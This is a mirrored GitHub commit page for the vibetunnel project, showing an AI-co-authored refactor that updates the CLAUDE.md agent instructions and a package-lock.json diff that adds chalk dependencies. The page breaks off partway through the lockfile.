mirror of
https://github.com/samsonjs/vibetunnel.git
synced 2026-06-28 05:29:29 +00:00
refactor: modularize server architecture and consolidate codebase
- Restructure server code into modular architecture under src/server/ - middleware/: Authentication handling - pty/: PTY management consolidation - routes/: API endpoint handlers - services/: Core services (terminal, HQ, streaming) - Consolidate 20+ scattered files into organized modules - Replace unit/integration tests with comprehensive E2E testing - Add spec.md as codebase navigation guide - Update build paths for new CSS location (styles.css) - Add chalk dependency for improved terminal output - Simplify server entry point to use modular loader - Update CLAUDE.md with spec.md regeneration instructions 🤖 Generated with [Claude Code](https://claude.ai/code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
parent
fd7a874ee5
commit
5593ee39ef
46 changed files with 3911 additions and 5640 deletions
|
|
@ -1,5 +1,29 @@
|
|||
# Claude Development Notes
|
||||
|
||||
After receiving the first user mesage, read spec.md before you proceed. The spec.md contains a map of this code base that should help you navigate it.
|
||||
|
||||
**IMPORTANT**: NEVER USE GREP. ALWAYS USE RIPGREP!
|
||||
|
||||
## Updating spec.md
|
||||
As code changes, the spec.md might get outdated. If you detect outdated information, ask the user if they want to regenerate the spec.md file.
|
||||
|
||||
### How to regenerate spec.md:
|
||||
1. Create a todo list to track the analysis tasks
|
||||
2. Use multiple parallel Task tool calls to analyze:
|
||||
- Server architecture (src/server/, authentication, session management)
|
||||
- Client architecture (src/client/, components, services)
|
||||
- fwd.ts application functionality
|
||||
- API endpoints and protocols
|
||||
- Binary buffer format and WebSocket implementation
|
||||
- HQ mode and distributed architecture
|
||||
3. Focus on capturing:
|
||||
- File locations with key line numbers for important functions
|
||||
- Component responsibilities and data flow
|
||||
- Protocol specifications and message formats
|
||||
- Configuration options and CLI arguments
|
||||
4. Write a concise spec.md that serves as a navigation map, keeping descriptions brief to minimize token usage
|
||||
5. Include a "Key Files Quick Reference" section for fast lookup
|
||||
|
||||
## Build Process
|
||||
- **Never run build commands** - the user has `npm run dev` running which handles automatic rebuilds
|
||||
- Changes to TypeScript files are automatically compiled and watched
|
||||
|
|
@ -7,15 +31,12 @@
|
|||
|
||||
## Development Workflow
|
||||
- Make changes to source files in `src/`
|
||||
- The dev server automatically rebuilds and reloads
|
||||
- Focus on editing source files, not built artifacts
|
||||
- Format, lint and typecheck after you made changes.
|
||||
- `npm run format`
|
||||
- `npm run lint`
|
||||
- `npm run lint:fix`
|
||||
- `npm run typecheck`
|
||||
- Always fix all linting and type checking errors.
|
||||
|
||||
## Server Execution
|
||||
- NEVER RUN THE SERVER YOURSELF, I ALWAYS RUN IT ON THE SIDE VIA NPM RUN DEV!
|
||||
|
||||
## Code Quality
|
||||
- ESLint and Prettier are configured for the project
|
||||
- Run `npm run lint` to check for linting issues
|
||||
- Run `npm run lint:fix` to automatically fix most issues
|
||||
- Run `npm run format` to format all code with Prettier
|
||||
- Run `npm run format:check` to check formatting without changing files
|
||||
- NEVER RUN THE SERVER YOURSELF, I ALWAYS RUN IT ON THE SIDE VIA NPM RUN DEV!
|
||||
609
web/package-lock.json
generated
609
web/package-lock.json
generated
|
|
@ -11,6 +11,7 @@
|
|||
"dependencies": {
|
||||
"@homebridge/node-pty-prebuilt-multiarch": "^0.12.0",
|
||||
"@xterm/headless": "^5.5.0",
|
||||
"chalk": "^5.4.1",
|
||||
"express": "^4.19.2",
|
||||
"lit": "^3.3.0",
|
||||
"signal-exit": "^4.1.0",
|
||||
|
|
@ -1507,6 +1508,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/console/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/core": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/@jest/core/-/core-30.0.2.tgz",
|
||||
|
|
@ -1568,6 +1586,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/core/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/core/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/core/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -1751,6 +1802,23 @@
|
|||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@jest/reporters/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/schemas": {
|
||||
"version": "30.0.1",
|
||||
"resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.1.tgz",
|
||||
|
|
@ -1780,6 +1848,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/snapshot-utils/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/source-map": {
|
||||
"version": "30.0.1",
|
||||
"resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-30.0.1.tgz",
|
||||
|
|
@ -1854,6 +1939,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/transform/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/types": {
|
||||
"version": "30.0.1",
|
||||
"resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.1.tgz",
|
||||
|
|
@ -1873,6 +1975,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@jest/types/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@jridgewell/gen-mapping": {
|
||||
"version": "0.3.8",
|
||||
"resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz",
|
||||
|
|
@ -2529,6 +2648,23 @@
|
|||
"node": ">=18"
|
||||
}
|
||||
},
|
||||
"node_modules/@testing-library/dom/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tootallnate/quickjs-emscripten": {
|
||||
"version": "0.23.0",
|
||||
"resolved": "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz",
|
||||
|
|
@ -3887,6 +4023,23 @@
|
|||
"@babel/core": "^7.11.0"
|
||||
}
|
||||
},
|
||||
"node_modules/babel-jest/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/babel-plugin-istanbul": {
|
||||
"version": "7.0.0",
|
||||
"resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-7.0.0.tgz",
|
||||
|
|
@ -4438,17 +4591,12 @@
|
|||
}
|
||||
},
|
||||
"node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"version": "5.4.1",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz",
|
||||
"integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
"node": "^12.17.0 || ^14.13 || >=16.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
|
|
@ -4884,6 +5032,36 @@
|
|||
"url": "https://github.com/open-cli-tools/concurrently?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/concurrently/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/concurrently/node_modules/chalk/node_modules/supports-color": {
|
||||
"version": "7.2.0",
|
||||
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
|
||||
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"has-flag": "^4.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/concurrently/node_modules/cliui": {
|
||||
"version": "8.0.1",
|
||||
"resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
|
||||
|
|
@ -5743,6 +5921,23 @@
|
|||
"concat-map": "0.0.1"
|
||||
}
|
||||
},
|
||||
"node_modules/eslint/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/eslint/node_modules/eslint-visitor-keys": {
|
||||
"version": "4.2.1",
|
||||
"resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz",
|
||||
|
|
@ -7193,6 +7388,23 @@
|
|||
"concat-map": "0.0.1"
|
||||
}
|
||||
},
|
||||
"node_modules/jake/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jake/node_modules/minimatch": {
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
|
||||
|
|
@ -7293,6 +7505,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-circus/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-circus/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-circus/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -7348,6 +7593,23 @@
|
|||
}
|
||||
}
|
||||
},
|
||||
"node_modules/jest-cli/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-cli/node_modules/cliui": {
|
||||
"version": "8.0.1",
|
||||
"resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
|
||||
|
|
@ -7520,6 +7782,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-config/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-config/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-config/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -7571,6 +7866,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-diff/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-diff/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-diff/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -7636,6 +7964,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-each/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-each/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-each/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -7780,6 +8141,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-matcher-utils/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-matcher-utils/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-matcher-utils/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -7836,6 +8230,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-message-util/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-message-util/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-message-util/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -7935,6 +8362,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-resolve/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
